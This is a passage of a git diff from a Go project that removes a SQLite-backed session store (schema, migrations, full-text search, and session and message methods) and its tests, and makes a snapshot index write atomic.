session.NewSQLiteStore(filepath.Join(dir, "test.db")) - if err != nil { - t.Fatalf("NewSQLiteStore: %v", err) - } - t.Cleanup(func() { _ = store.Close() }) - return store -} - -func TestGainTracker_EnsureSchema(t *testing.T) { - store := newTestStore(t) - g := session.NewGainTracker(store) - ctx := context.Background() - if err := g.EnsureSchema(ctx); err != nil { - t.Fatalf("EnsureSchema: %v", err) - } - // Calling again should be a no-op - if err := g.EnsureSchema(ctx); err != nil { - t.Fatalf("EnsureSchema second call: %v", err) - } -} - -func TestGainTracker_Record(t *testing.T) { - store := newTestStore(t) - g := session.NewGainTracker(store) - if err := g.EnsureSchema(context.Background()); err != nil { - t.Fatal(err) - } - ctx := context.Background() - ev := session.GainEvent{ - SessionID: "sess-1", - Command: "tok npm test", - OriginalBytes: 1000, - CompressedBytes: 200, - OriginalTokens: 250, - CompressedTokens: 50, - Mode: "aggressive", - Tier: "code", - Model: "gpt-4o", - } - if err := g.Record(ctx, ev); err != nil { - t.Fatalf("Record: %v", err) - } -} - -func TestGainTracker_RecordRequiresSessionID(t *testing.T) { - store := newTestStore(t) - g := session.NewGainTracker(store) - _ = g.EnsureSchema(context.Background()) - err := g.Record(context.Background(), session.GainEvent{Command: "x"}) - if err == nil { - t.Error("expected error for empty SessionID") - } -} - -func TestGainTracker_AggregateForSession(t *testing.T) { - store := newTestStore(t) - g := session.NewGainTracker(store) - _ = g.EnsureSchema(context.Background()) - ctx := context.Background() - events := []session.GainEvent{ - {SessionID: "s1", Command: "a", OriginalBytes: 1000, CompressedBytes: 200, OriginalTokens: 250, CompressedTokens: 50, Mode: "aggressive"}, - {SessionID: "s1", Command: "b", OriginalBytes: 2000, CompressedBytes: 800, OriginalTokens: 500, CompressedTokens: 200, Mode: "aggressive"}, - {SessionID: "s1", Command: "c", OriginalBytes: 500, CompressedBytes: 250, OriginalTokens: 125, CompressedTokens: 60, Mode: "minimal"}, - // Different session — should not be included - {SessionID: "s2", Command: "d", OriginalBytes: 100, CompressedBytes: 50, OriginalTokens: 25, CompressedTokens: 12, Mode: "minimal"}, - } - for _, ev := range events { - if err := g.Record(ctx, ev); err != nil { - t.Fatalf("Record: %v", err) - } - } - agg, err := g.AggregateForSession(ctx, "s1", 30) - if err != nil { - t.Fatalf("Aggregate: %v", err) - } - if agg.EventCount != 3 { - t.Errorf("expected 3 events for s1, got %d", agg.EventCount) - } - // Bytes saved: 800 + 1200 + 250 = 2250 - if agg.TotalBytesSaved != 2250 { - t.Errorf("expected 2250 bytes saved, got %d", agg.TotalBytesSaved) - } - // Tokens saved: 200 + 300 + 65 = 565 - if agg.TotalTokensSaved != 565 { - t.Errorf("expected 565 tokens saved, got %d", agg.TotalTokensSaved) - } -} - -func TestGainTracker_AggregateForSession_Empty(t *testing.T) { - store := newTestStore(t) - g := session.NewGainTracker(store) - _ = g.EnsureSchema(context.Background()) - agg, err := g.AggregateForSession(context.Background(), "nonexistent", 30) - if err != nil { - t.Fatalf("Aggregate on empty: %v", err) - } - if agg.EventCount != 0 { - t.Errorf("expected 0 events, got %d", agg.EventCount) - } -} - -func TestGainTracker_ListForSession(t *testing.T) { - store := newTestStore(t) - g := session.NewGainTracker(store) - _ = g.EnsureSchema(context.Background()) - ctx := context.Background() - for i := 0; i < 5; i++ { - _ = g.Record(ctx, session.GainEvent{ - SessionID: "s1", Command: "x", - OriginalBytes: 100, CompressedBytes: 50, - }) - time.Sleep(2 * time.Millisecond) - } - // Different session to verify isolation - _ = g.Record(ctx, session.GainEvent{SessionID: "s2", Command: "y", OriginalBytes: 100, CompressedBytes: 50}) - - out, err := g.ListForSession(ctx, "s1", 10) - if err != nil { - t.Fatalf("ListForSession: %v", err) - } - if len(out) != 5 { - t.Errorf("expected 5 events for s1, got %d", len(out)) - } - // Newest first - if out[0].ID <= out[1].ID { - t.Error("expected descending ID order") - } -} - -func TestGainTracker_PruneForSession(t *testing.T) { - store := newTestStore(t) - g := session.NewGainTracker(store) - _ = g.EnsureSchema(context.Background()) - ctx := context.Background() - // Old event - _ = g.Record(ctx, session.GainEvent{ - SessionID: "s1", Command: "old", - OriginalBytes: 100, CompressedBytes: 50, - Timestamp: time.Now().Add(-100 * 24 * time.Hour), - }) - // Recent event - _ = g.Record(ctx, session.GainEvent{ - SessionID: "s1", Command: "new", - OriginalBytes: 100, CompressedBytes: 50, - }) - deleted, err := g.PruneForSession(ctx, "s1", 30*24*time.Hour) - if err != nil { - t.Fatalf("Prune: %v", err) - } - if deleted != 1 { - t.Errorf("expected 1 pruned, got %d", deleted) - } - agg, _ := g.AggregateForSession(ctx, "s1", 0) - if agg.EventCount != 1 { - t.Errorf("expected 1 remaining, got %d", agg.EventCount) - } -} - -func TestGainTracker_PrunePreservesOtherSessions(t *testing.T) { - store := newTestStore(t) - g := session.NewGainTracker(store) - _ = g.EnsureSchema(context.Background()) - ctx := context.Background() - // Old event in s1 - _ = g.Record(ctx, session.GainEvent{ - SessionID: "s1", Command: "old", - OriginalBytes: 100, CompressedBytes: 50, - Timestamp: time.Now().Add(-100 * 24 * time.Hour), - }) - // Old event in s2 - _ = g.Record(ctx, session.GainEvent{ - SessionID: "s2", Command: "old", - OriginalBytes: 100, CompressedBytes: 50, - Timestamp: time.Now().Add(-100 * 24 * time.Hour), - }) - // Prune s1 only - _, err := g.PruneForSession(ctx, "s1", 30*24*time.Hour) - if err != nil { - t.Fatal(err) - } - // s2 still has its event - agg, _ := g.AggregateForSession(ctx, "s2", 0) - if agg.EventCount != 1 { - t.Errorf("expected s2 to keep its 1 event, got %d", agg.EventCount) - } -} diff --git a/internal/session/snapshot.go b/internal/session/snapshot.go index 87ca10f9..805b7c8c 100644 --- a/internal/session/snapshot.go +++ b/internal/session/snapshot.go @@ -9,6 +9,7 @@ import ( "sync" "time" + "github.com/GrayCodeAI/hawk/internal/safewrite" "github.com/GrayCodeAI/hawk/internal/storage" ) @@ -198,13 +199,16 @@ func (ss *SnapshotStore) cleanupLocked() { } // saveIndexLocked writes the snapshot index to disk; the caller must hold ss.mu. +// Atomic (temp file + rename) so a crash mid-write cannot corrupt the index, +// which is the authoritative list of all snapshots. A truncated index would +// orphan otherwise-intact snapshot files. func (ss *SnapshotStore) saveIndexLocked() error { indexPath := filepath.Join(ss.dir, "snapshots.json") data, err := json.MarshalIndent(ss.snapshots, "", " ") if err != nil { return err } - return os.WriteFile(indexPath, data, 0o600) + return safewrite.WriteFile(indexPath, data) } // writeSessionJSONL writes a session as JSONL to the given path. diff --git a/internal/session/sqlite_store.go b/internal/session/sqlite_store.go deleted file mode 100644 index b85c7531..00000000 --- a/internal/session/sqlite_store.go +++ /dev/null @@ -1,701 +0,0 @@ -package session - -import ( - "context" - "database/sql" - "fmt" - "log/slog" - "strings" - "sync" - "time" -) - -// SQLite-based session storage replaces the fragile JSONL + WAL approach. -// This uses database/sql with the "sqlite" driver name. Consumers must import -// a compatible driver, e.g.: -// -// import _ "modernc.org/sqlite" -// -// This is a pure-Go SQLite implementation (no CGO required). - -// schema defines the initial database schema (version 1). -const schema = ` -CREATE TABLE IF NOT EXISTS sessions ( - id TEXT PRIMARY KEY, - project_dir TEXT NOT NULL, - provider TEXT NOT NULL, - model TEXT NOT NULL, - created_at DATETIME DEFAULT CURRENT_TIMESTAMP, - updated_at DATETIME DEFAULT CURRENT_TIMESTAMP, - parent_id TEXT, - status TEXT DEFAULT 'active', - title TEXT, - total_tokens INTEGER DEFAULT 0, - total_cost_usd REAL DEFAULT 0 -); - -CREATE TABLE IF NOT EXISTS messages ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - session_id TEXT NOT NULL REFERENCES sessions(id), - role TEXT NOT NULL, - content TEXT NOT NULL, - tool_use_id TEXT, - tool_name TEXT, - is_error BOOLEAN DEFAULT FALSE, - tokens INTEGER DEFAULT 0, - created_at DATETIME DEFAULT CURRENT_TIMESTAMP -); - -CREATE INDEX IF NOT EXISTS idx_messages_session ON messages(session_id); -CREATE INDEX IF NOT EXISTS idx_sessions_project ON sessions(project_dir); -CREATE INDEX IF NOT EXISTS idx_sessions_updated ON sessions(updated_at DESC); -` - -// migrations is an ordered list of schema migrations. Each entry is applied -// exactly once, tracked by the schema_version table. -var migrations = []string{ - // Version 1: initial schema - schema, - // Version 2: add FTS for content search - `CREATE VIRTUAL TABLE IF NOT EXISTS messages_fts USING fts5( - session_id, - content, - content='messages', - content_rowid='id' - ); - - CREATE TRIGGER IF NOT EXISTS messages_ai AFTER INSERT ON messages BEGIN - INSERT INTO messages_fts(rowid, session_id, content) - VALUES (new.id, new.session_id, new.content); - END; - - CREATE TRIGGER IF NOT EXISTS messages_ad AFTER DELETE ON messages BEGIN - INSERT INTO messages_fts(messages_fts, rowid, session_id, content) - VALUES ('delete', old.id, old.session_id, old.content); - END;`, -} - -// SessionRecord represents a persisted session in the SQLite store. -type SessionRecord struct { - ID string - ProjectDir string - Provider string - Model string - CreatedAt time.Time - UpdatedAt time.Time - ParentID string - Status string - Title string - TotalTokens int - TotalCostUSD float64 -} - -// MessageRecord represents a single message within a session. -type MessageRecord struct { - ID int64 - SessionID string - Role string - Content string - ToolUseID string - ToolName string - IsError bool - Tokens int - CreatedAt time.Time -} - -// SessionStats contains aggregated statistics for a session. -type SessionStats struct { - MessageCount int - TotalTokens int - TotalCostUSD float64 - Duration time.Duration - ToolCalls int -} - -// SQLiteStore provides SQLite-backed session persistence. -type SQLiteStore struct { - db *sql.DB - dbPath string - mu sync.RWMutex -} - -// NewSQLiteStore opens (or creates) the SQLite database at dbPath and runs -// any pending migrations. The driver must already be registered with -// database/sql (e.g., via import _ "modernc.org/sqlite"). -func NewSQLiteStore(dbPath string) (*SQLiteStore, error) { - db, err := sql.Open("sqlite", dbPath) - if err != nil { - return nil, fmt.Errorf("open sqlite: %w", err) - } - - // SQLite serializes writes; a single connection avoids "database is - // locked" errors under concurrent access. - db.SetMaxOpenConns(1) - - // Enable WAL mode for better concurrent read performance. - if _, err := db.ExecContext(context.Background(), "PRAGMA journal_mode=WAL"); err != nil { - _ = db.Close() - return nil, fmt.Errorf("set WAL mode: %w", err) - } - - // Set a busy timeout so concurrent writers wait instead of failing. - if _, err := db.ExecContext(context.Background(), "PRAGMA busy_timeout=5000"); err != nil { - _ = db.Close() - return nil, fmt.Errorf("set busy timeout: %w", err) - } - - // Enable foreign keys. - if _, err := db.ExecContext(context.Background(), "PRAGMA foreign_keys=ON"); err != nil { - _ = db.Close() - return nil, fmt.Errorf("enable foreign keys: %w", err) - } - - s := &SQLiteStore{db: db, dbPath: dbPath} - if err := s.migrate(); err != nil { - _ = db.Close() - return nil, fmt.Errorf("migrate: %w", err) - } - - return s, nil -} - -// migrate applies any pending schema migrations. -func (s *SQLiteStore) migrate() error { - // Ensure the schema_version table exists. - _, err := s.db.ExecContext(context.Background(), `CREATE TABLE IF NOT EXISTS schema_version ( - version INTEGER PRIMARY KEY - )`) - if err != nil { - return fmt.Errorf("create schema_version table: %w", err) - } - - // Determine current version. - var current int - row := s.db.QueryRowContext(context.Background(), "SELECT COALESCE(MAX(version), 0) FROM schema_version") - if err := row.Scan(¤t); err != nil { - return fmt.Errorf("read schema version: %w", err) - } - - // Apply pending migrations. - for i := current; i < len(migrations); i++ { - tx, err := s.db.BeginTx(context.Background(), nil) - if err != nil { - return fmt.Errorf("begin migration %d: %w", i+1, err) - } - - // Execute all statements in this migration. - // Split on semicolons for multi-statement migrations. - stmts := splitStatements(migrations[i]) - for _, stmt := range stmts { - stmt = strings.TrimSpace(stmt) - if stmt == "" { - continue - } - if _, err := tx.ExecContext(context.Background(), stmt); err != nil { - _ = tx.Rollback() - return fmt.Errorf("migration %d failed: %w\nstatement: %s", i+1, err, stmt) - } - } - - // Record the new version. - if _, err := tx.ExecContext(context.Background(), "INSERT INTO schema_version (version) VALUES (?)", i+1); err != nil { - _ = tx.Rollback() - return fmt.Errorf("record migration %d: %w", i+1, err) - } - - if err := tx.Commit(); err != nil { - return fmt.Errorf("commit migration %d: %w", i+1, err) - } - } - - return nil -} - -// splitStatements splits a SQL string on semicolons, being careful not to -// split inside string literals or BEGIN...END blocks (triggers, etc.). -func splitStatements(sql string) []string { - var stmts []string - var current strings.Builder - inString := false - beginDepth := 0 - - for i := 0; i < len(sql); i++ { - ch := sql[i] - if ch == '\'' { - inString = !inString - current.WriteByte(ch) - } else if !inString { - // Track BEGIN...END nesting for triggers - upper := strings.ToUpper(sql[i:]) - if strings.HasPrefix(upper, "BEGIN") && (i+5 >= len(sql) || !isIdentChar(sql[i+5])) { - beginDepth++ - current.WriteString(sql[i : i+5]) - i += 4 - } else if strings.HasPrefix(upper, "END") && (i+3 >= len(sql) || !isIdentChar(sql[i+3])) && beginDepth > 0 { - beginDepth-- - current.WriteString(sql[i : i+3]) - i += 2 - } else if ch == ';' && beginDepth == 0 { - s := strings.TrimSpace(current.String()) - if s != "" { - stmts = append(stmts, s) - } - current.Reset() - } else { - current.WriteByte(ch) - } - } else { - current.WriteByte(ch) - } - } - - s := strings.TrimSpace(current.String()) - if s != "" { - stmts = append(stmts, s) - } - - return stmts -} - -func isIdentChar(b byte) bool { - return (b >= 'A' && b <= 'Z') || (b >= 'a' && b <= 'z') || (b >= '0' && b <= '9') || b == '_' -} - -// CreateSession inserts a new session record. -func (s *SQLiteStore) CreateSession(ctx context.Context, sess *SessionRecord) error { - s.mu.Lock() - defer s.mu.Unlock() - - if sess.CreatedAt.IsZero() { - sess.CreatedAt = time.Now() - } - if sess.UpdatedAt.IsZero() { - sess.UpdatedAt = time.Now() - } - if sess.Status == "" { - sess.Status = "active" - } - - _, err := s.db.ExecContext( - ctx, - `INSERT INTO sessions (id, project_dir, provider, model, created_at, updated_at, parent_id, status, title, total_tokens, total_cost_usd) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, - sess.ID, sess.ProjectDir, sess.Provider, sess.Model, - sess.CreatedAt, sess.UpdatedAt, sess.ParentID, sess.Status, - sess.Title, sess.TotalTokens, sess.TotalCostUSD, - ) - if err != nil { - return fmt.Errorf("insert session: %w", err) - } - return nil -} - -// GetSession retrieves a session by ID. -func (s *SQLiteStore) GetSession(ctx context.Context, id string) (*SessionRecord, error) { - s.mu.RLock() - defer s.mu.RUnlock() - - row := s.db.QueryRowContext(ctx, `SELECT id, project_dir, provider, model, created_at, updated_at, - COALESCE(parent_id, ''), status, COALESCE(title, ''), total_tokens, total_cost_usd - FROM sessions WHERE id = ?`, id) - - var sess SessionRecord - err := row.Scan(&sess.ID, &sess.ProjectDir, &sess.Provider, &sess.Model, - &sess.CreatedAt, &sess.UpdatedAt, &sess.ParentID, &sess.Status, - &sess.Title, &sess.TotalTokens, &sess.TotalCostUSD) - if err == sql.ErrNoRows { - return nil, fmt.Errorf("session %s not found", id) - } - if err != nil { - return nil, fmt.Errorf("get session: %w", err) - } - return &sess, nil -} - -// ListSessions returns sessions for a project directory, ordered by most -// recently updated. If projectDir is empty, all sessions are returned. -// limit <= 0 means no limit. -func (s *SQLiteStore) ListSessions(ctx context.Context, projectDir string, limit int) ([]*SessionRecord, error) { - s.mu.RLock() - defer s.mu.RUnlock() - - var rows *sql.Rows - var err error - - if projectDir == "" { - if limit > 0 { - rows, err = s.db.QueryContext(ctx, `SELECT id, project_dir, provider, model, created_at, updated_at, - COALESCE(parent_id, ''), status, COALESCE(title, ''), total_tokens, total_cost_usd - FROM sessions ORDER BY updated_at DESC LIMIT ?`, limit) - } else { - rows, err = s.db.QueryContext(ctx, `SELECT id, project_dir, provider, model, created_at, updated_at, - COALESCE(parent_id, ''), status, COALESCE(title, ''), total_tokens, total_cost_usd - FROM sessions ORDER BY updated_at DESC`) - } - } else { - if limit > 0 { - rows, err = s.db.QueryContext(ctx, `SELECT id, project_dir, provider, model, created_at, updated_at, - COALESCE(parent_id, ''), status, COALESCE(title, ''), total_tokens, total_cost_usd - FROM sessions WHERE project_dir = ? ORDER BY updated_at DESC LIMIT ?`, projectDir, limit) - } else { - rows, err = s.db.QueryContext(ctx, `SELECT id, project_dir, provider, model, created_at, updated_at, - COALESCE(parent_id, ''), status, COALESCE(title, ''), total_tokens, total_cost_usd - FROM sessions WHERE project_dir = ? ORDER BY updated_at DESC`, projectDir) - } - } - if err != nil { - return nil, fmt.Errorf("list sessions: %w", err) - } - defer func() { _ = rows.Close() }() - - var sessions []*SessionRecord - for rows.Next() { - var sess SessionRecord - if err := rows.Scan(&sess.ID, &sess.ProjectDir, &sess.Provider, &sess.Model, - &sess.CreatedAt, &sess.UpdatedAt, &sess.ParentID, &sess.Status, - &sess.Title, &sess.TotalTokens, &sess.TotalCostUSD); err != nil { - return nil, fmt.Errorf("scan session: %w", err) - } - sessions = append(sessions, &sess) - } - return sessions, rows.Err() -} - -// AppendMessage adds a message to a session and updates the session's -// updated_at timestamp and token totals. -func (s *SQLiteStore) AppendMessage(ctx context.Context, sessionID string, msg *MessageRecord) error { - s.mu.Lock() - defer s.mu.Unlock() - - tx, err := s.db.BeginTx(ctx, nil) - if err != nil { - return fmt.Errorf("begin tx: %w", err) - } - defer func() { _ = tx.Rollback() }() - - if msg.CreatedAt.IsZero() { - msg.CreatedAt = time.Now() - } - - result, err := tx.ExecContext(ctx, `INSERT INTO messages (session_id, role, content, tool_use_id, tool_name, is_error, tokens, created_at) - VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, - sessionID, msg.Role, msg.Content, msg.ToolUseID, msg.ToolName, - msg.IsError, msg.Tokens, msg.CreatedAt) - if err != nil { - return fmt.Errorf("insert message: %w", err) - } - - id, err := result.LastInsertId() - if err != nil { - return fmt.Errorf("last insert id: %w", err) - } - msg.ID = id - msg.SessionID = sessionID - - // Update session metadata. - _, err = tx.ExecContext(ctx, `UPDATE sessions SET updated_at = ?, total_tokens = total_tokens + ? - WHERE id = ?`, time.Now(), msg.Tokens, sessionID) - if err != nil { - return fmt.Errorf("update session: %w", err) - } - - return tx.Commit() -} - -// GetMessages retrieves all messages for a session, ordered by creation time. -func (s *SQLiteStore) GetMessages(ctx context.Context, sessionID string) ([]*MessageRecord, error) { - s.mu.RLock() - defer s.mu.RUnlock() - - rows, err := s.db.QueryContext(ctx, `SELECT id, session_id, role, content, - COALESCE(tool_use_id, ''), COALESCE(tool_name, ''), is_error, tokens, created_at - FROM messages WHERE session_id = ? ORDER BY id ASC`, sessionID) - if err != nil { - return nil, fmt.Errorf("get messages: %w", err) - } - defer func() { _ = rows.Close() }() - - var messages []*MessageRecord - for rows.Next() { - var msg MessageRecord - if err := rows.Scan(&msg.ID, &msg.SessionID, &msg.Role, &msg.Content, - &msg.ToolUseID, &msg.ToolName, &msg.IsError, &msg.Tokens, &msg.CreatedAt); err != nil { - return nil, fmt.Errorf("scan message: %w", err) - } - messages = append(messages, &msg) - } - return messages, rows.Err() -} - -// UpdateSession updates specific fields of a session. Supported keys: -// status, title, model, provider, total_tokens, total_cost_usd. -func (s *SQLiteStore) UpdateSession(ctx context.Context, id string, updates map[string]interface{}) error { - s.mu.Lock() - defer s.mu.Unlock() - - if len(updates) == 0 { - return nil - } - - // Whitelist of allowed fields. - allowed := map[string]bool{ - "status": true, - "title": true, - "model": true, - "provider": true, - "total_tokens": true, - "total_cost_usd": true, - "parent_id": true, - } - - var setClauses []string - var args []interface{} - - for key, val := range updates { - if !allowed[key] { - return fmt.Errorf("disallowed update field: %s", key) - } - setClauses = append(setClauses, key+" = ?") - args = append(args, val) - } - - // Always update updated_at. - setClauses = append(setClauses, "updated_at = ?") - args = append(args, time.Now()) - args = append(args, id) - - query := fmt.Sprintf("UPDATE sessions SET %s WHERE id = ?", strings.Join(setClauses, ", ")) // #nosec G201 -- column names from fixed allowlist; values parameterized - result, err := s.db.ExecContext(ctx, query, args...) - if err != nil { - return fmt.Errorf("update session: %w", err) - } - - n, _ := result.RowsAffected() - if n == 0 { - return fmt.Errorf("session %s not found", id) - } - return nil -} - -// DeleteSession removes a session and all its messages. -func (s *SQLiteStore) DeleteSession(ctx context.Context, id string) error { - s.mu.Lock() - defer s.mu.Unlock() - - tx, err := s.db.BeginTx(ctx, nil) - if err != nil { - return fmt.Errorf("begin tx: %w", err) - } - defer func() { _ = tx.Rollback() }() - - // Delete messages first (FK constraint). - if _, execErr := tx.ExecContext(ctx, "DELETE FROM messages WHERE session_id = ?", id); execErr != nil { - return fmt.Errorf("delete messages: %w", execErr) - } - - result, err := tx.ExecContext(ctx, "DELETE FROM sessions WHERE id = ?", id) - if err != nil { - return fmt.Errorf("delete session: %w", err) - } - - n, _ := result.RowsAffected() - if n == 0 { - return fmt.Errorf("session %s not found", id) - } - - return tx.Commit() -} - -// ForkSession creates a copy of a session with a new ID, duplicating all -// messages. The new session's parent_id points to the original. -func (s *SQLiteStore) ForkSession(ctx context.Context, originalID, newID string) error { - s.mu.Lock() - defer s.mu.Unlock() - - tx, err := s.db.BeginTx(ctx, nil) - if err != nil { - return fmt.Errorf("begin tx: %w", err) - } - defer func() { _ = tx.Rollback() }() - - // Copy the session record. - now := time.Now() - _, err = tx.ExecContext(ctx, `INSERT INTO sessions (id, project_dir, provider, model, created_at, updated_at, parent_id, status, title, total_tokens, total_cost_usd) - SELECT ?, project_dir, provider, model, ?, ?, ?, status, title, total_tokens, total_cost_usd - FROM sessions WHERE id = ?`, - newID, now, now, originalID, originalID) - if err != nil { - return fmt.Errorf("copy session: %w", err) - } - - // Copy all messages. - _, err = tx.ExecContext(ctx, `INSERT INTO messages (session_id, role, content, tool_use_id, tool_name, is_error, tokens, created_at) - SELECT ?, role, content, tool_use_id, tool_name, is_error, tokens, created_at - FROM messages WHERE session_id = ? ORDER BY id ASC`, - newID, originalID) - if err != nil { - return fmt.Errorf("copy messages: %w", err) - } - - return tx.Commit() -} - -// SearchSessions performs a full-text search across message content and returns -// sessions that contain matching messages. Requires the FTS migration to have -// been applied (migration 2). -func (s *SQLiteStore) SearchSessions(ctx context.Context, query string) ([]*SessionRecord, error) { - s.mu.RLock() - defer s.mu.RUnlock() - - // Use FTS5 match syntax. - rows, err := s.db.QueryContext(ctx, `SELECT DISTINCT s.id, s.project_dir, s.provider, s.model, - s.created_at, s.updated_at, COALESCE(s.parent_id, ''), s.status, - COALESCE(s.title, ''), s.total_tokens, s.total_cost_usd - FROM sessions s - INNER JOIN messages_fts fts ON fts.session_id = s.id - WHERE messages_fts MATCH ? - ORDER BY s.updated_at DESC`, query) - if err != nil { - // Fall back to LIKE search if FTS is not available. - return s.searchFallback(ctx, query) - } - defer func() { _ = rows.Close() }() - - var sessions []*SessionRecord - for rows.Next() { - var sess SessionRecord - if err := rows.Scan(&sess.ID, &sess.ProjectDir, &sess.Provider, &sess.Model, - &sess.CreatedAt, &sess.UpdatedAt, &sess.ParentID, &sess.Status, - &sess.Title, &sess.TotalTokens, &sess.TotalCostUSD); err != nil { - return nil, fmt.Errorf("scan session: %w", err) - } - sessions = append(sessions, &sess) - } - return sessions, rows.Err() -} - -// searchFallback uses LIKE when FTS is not available. -func (s *SQLiteStore) searchFallback(ctx context.Context, query string) ([]*SessionRecord, error) { - // Escape LIKE wildcards in user input to prevent unintended matches. - query = strings.ReplaceAll(query, `%`, `\%`) - query = strings.ReplaceAll(query, `_`, `\_`) - pattern := "%" + query + "%" - rows, err := s.db.QueryContext(ctx, `SELECT DISTINCT s.id, s.project_dir, s.provider, s.model, - s.created_at, s.updated_at, COALESCE(s.parent_id, ''), s.status, - COALESCE(s.title, ''), s.total_tokens, s.total_cost_usd - FROM sessions s - INNER JOIN messages m ON m.session_id = s.id - WHERE m.content LIKE ? ESCAPE '\' - ORDER BY s.updated_at DESC`, pattern) - if err != nil { - return nil, fmt.Errorf("search sessions: %w", err) - } - defer func() { _ = rows.Close() }() - - var sessions []*SessionRecord - for rows.Next() { - var sess SessionRecord - if err := rows.Scan(&sess.ID, &sess.ProjectDir, &sess.Provider, &sess.Model, - &sess.CreatedAt, &sess.UpdatedAt, &sess.ParentID, &sess.Status, - &sess.Title, &sess.TotalTokens, &sess.TotalCostUSD); err != nil { - return nil, fmt.Errorf("scan session: %w", err) - } - sessions = append(sessions, &sess) - } - return sessions, rows.Err() -} - -// Close checkpoints the WAL and closes the underlying database connection. -// Running PRAGMA wal_checkpoint(TRUNCATE) before close ensures that -// .db-wal and .db-shm files are cleaned up after all data is safely -// flushed to the main database file. -func (s *SQLiteStore) Close() error { - s.mu.Lock() - defer s.mu.Unlock() - // Checkpoint WAL to flush all data into the main db and truncate - // the WAL file, so no .db-wal / .db-shm files linger on disk. - if _, err := s.db.ExecContext(context.Background(), "PRAGMA wal_checkpoint(TRUNCATE)"); err != nil { - slog.Warn("wal checkpoint before close failed", "error", err) - } - return s.db.Close() -} - -// Compact removes old messages from a session, keeping only the last keepLast -// messages. This is useful for long-running sessions where older context is -// no longer needed. -func (s *SQLiteStore) Compact(ctx context.Context, sessionID string, keepLast int) error { - s.mu.Lock() - defer s.mu.Unlock() - - if keepLast <= 0 { - return fmt.Errorf("keepLast must be positive, got %d", keepLast) - } - - tx, err := s.db.BeginTx(ctx, nil) - if err != nil { - return fmt.Errorf("begin tx: %w", err) - } - defer func() { _ = tx.Rollback() }() - - // Find the cutoff: delete all messages except the last N. - _, err = tx.ExecContext(ctx, `DELETE FROM messages - WHERE session_id = ? AND id NOT IN ( - SELECT id FROM messages WHERE session_id = ? ORDER BY id DESC LIMIT ? - )`, sessionID, sessionID, keepLast) - if err != nil { - return fmt.Errorf("compact messages: %w", err) - } - - // Recalculate total tokens. - var totalTokens int - row := tx.QueryRowContext(ctx, "SELECT COALESCE(SUM(tokens), 0) FROM messages WHERE session_id = ?", sessionID) - if scanErr := row.Scan(&totalTokens); scanErr != nil { - return fmt.Errorf("sum tokens: %w", scanErr) - } - - _, err = tx.ExecContext(ctx, "UPDATE sessions SET total_tokens = ?, updated_at = ? WHERE id = ?", - totalTokens, time.Now(), sessionID) - if err != nil { - return fmt.Errorf("update token total: %w", err) - } - - if err := tx.Commit(); err != nil { - return fmt.Errorf("commit compact: %w", err) - } - - // After a large delete, checkpoint the WAL so the freed pages are - // reclaimed and .db-wal doesn't grow unbounded. - if _, err := s.db.ExecContext(ctx, "PRAGMA wal_checkpoint(TRUNCATE)"); err != nil { - return fmt.Errorf("wal checkpoint after compact: %w", err) - } - return nil -} - -// GetSessionStats returns aggregate statistics for a session. -func (s *SQLiteStore) GetSessionStats(ctx context.Context, id string) (*SessionStats, error) { - s.mu.RLock() - defer s.mu.RUnlock() - - var stats SessionStats - var createdAt, updatedAt time.Time - - // Get session-level stats. - row := s.db.QueryRowContext(ctx, `SELECT total_tokens, total_cost_usd, created_at, updated_at - FROM sessions WHERE id = ?`, id) - if err := row.Scan(&stats.TotalTokens, &stats.TotalCostUSD, &createdAt, &updatedAt); err != nil { - if err == sql.ErrNoRows { - return nil, fmt.Errorf("session %s not found", id) - } - return nil, fmt.Errorf("get session stats: %w", err) - } - stats.Duration = updatedAt.Sub(createdAt) - - // Count messages and tool calls. - row = s.db.QueryRowContext(ctx, `SELECT COUNT(*), COALESCE(SUM(CASE WHEN tool_name != '' AND tool_name IS NOT NULL THEN 1 ELSE 0 END), 0) - FROM messages WHERE session_id = ?`, id) - if err := row.Scan(&stats.MessageCount, &stats.ToolCalls); err != nil { - return nil, fmt.Errorf("count messages: %w", err) - } - - return &stats, nil -} diff --git a/internal/session/sqlite_store_integration_test.go b/internal/session/sqlite_store_integration_test.go deleted file mode 100644 index 8783b626..00000000 --- a/internal/session/sqlite_store_integration_test.go +++ /dev/null @@ -1,195 +0,0 @@ -package session - -import ( - "context" - "fmt" - "path/filepath" - "testing" - "time" - - _ "modernc.org/sqlite" -) - -func newTestStore(t *testing.T) *SQLiteStore { - t.Helper() - dbPath := filepath.Join(t.TempDir(), "test.db") - store, err := NewSQLiteStore(dbPath) - if err != nil { - t.Fatalf("NewSQLiteStore: %v", err) - } - t.Cleanup(func() { _ = store.Close() }) - return store -} - -func TestSQLiteStore_CreateAndGet(t *testing.T) { - store := newTestStore(t) - rec := &SessionRecord{ID: "test-001", Model: "claude-sonnet", Provider: "anthropic", ProjectDir: "/tmp", Title: "test", CreatedAt: time.Now(), UpdatedAt: time.Now()} - if err := store.CreateSession(context.Background(), rec); err != nil { - t.Fatalf("CreateSession: %v", err) - } - got, err := store.GetSession(context.Background(), "test-001") - if err != nil { - t.Fatalf("GetSession: %v", err) - } - if got.ID != "test-001" || got.Model != "claude-sonnet" { - t.Errorf("got %+v", got) - } -} - -func TestSQLiteStore_GetNotFound(t *testing.T) { - store := newTestStore(t) - _, err := store.GetSession(context.Background(), "x") - if err == nil { - t.Error("want error") - } -} - -func TestSQLiteStore_List(t *testing.T) { - store := newTestStore(t) - for i := 0; i < 3; i++ { - _ = store.CreateSession(context.Background(), &SessionRecord{ID: fmt.Sprintf("l-%d", i), Model: "m", ProjectDir: "/p", CreatedAt: time.Now(), UpdatedAt: time.Now()}) - } - ss, err := store.ListSessions(context.Background(), "/p", 10) - if err != nil { - t.Fatal(err) - } - if len(ss) != 3 { - t.Errorf("len=%d want 3", len(ss)) - } -} - -func TestSQLiteStore_Messages(t *testing.T) { - store := newTestStore(t) - _ = store.CreateSession(context.Background(), &SessionRecord{ID: "m1", Model: "m", CreatedAt: time.Now(), UpdatedAt: time.Now()}) - _ = store.AppendMessage(context.Background(), "m1", &MessageRecord{SessionID: "m1", Role: "user", Content: "hi", CreatedAt: time.Now()}) - _ = store.AppendMessage(context.Background(), "m1", &MessageRecord{SessionID: "m1", Role: "assistant", Content: "hello", CreatedAt: time.Now()}) - msgs, err := store.GetMessages(context.Background(), "m1") - if err != nil { - t.Fatal(err) - } - if len(msgs) != 2 { - t.Errorf("len=%d want 2", len(msgs)) - } -} - -func TestSQLiteStore_Update(t *testing.T) { 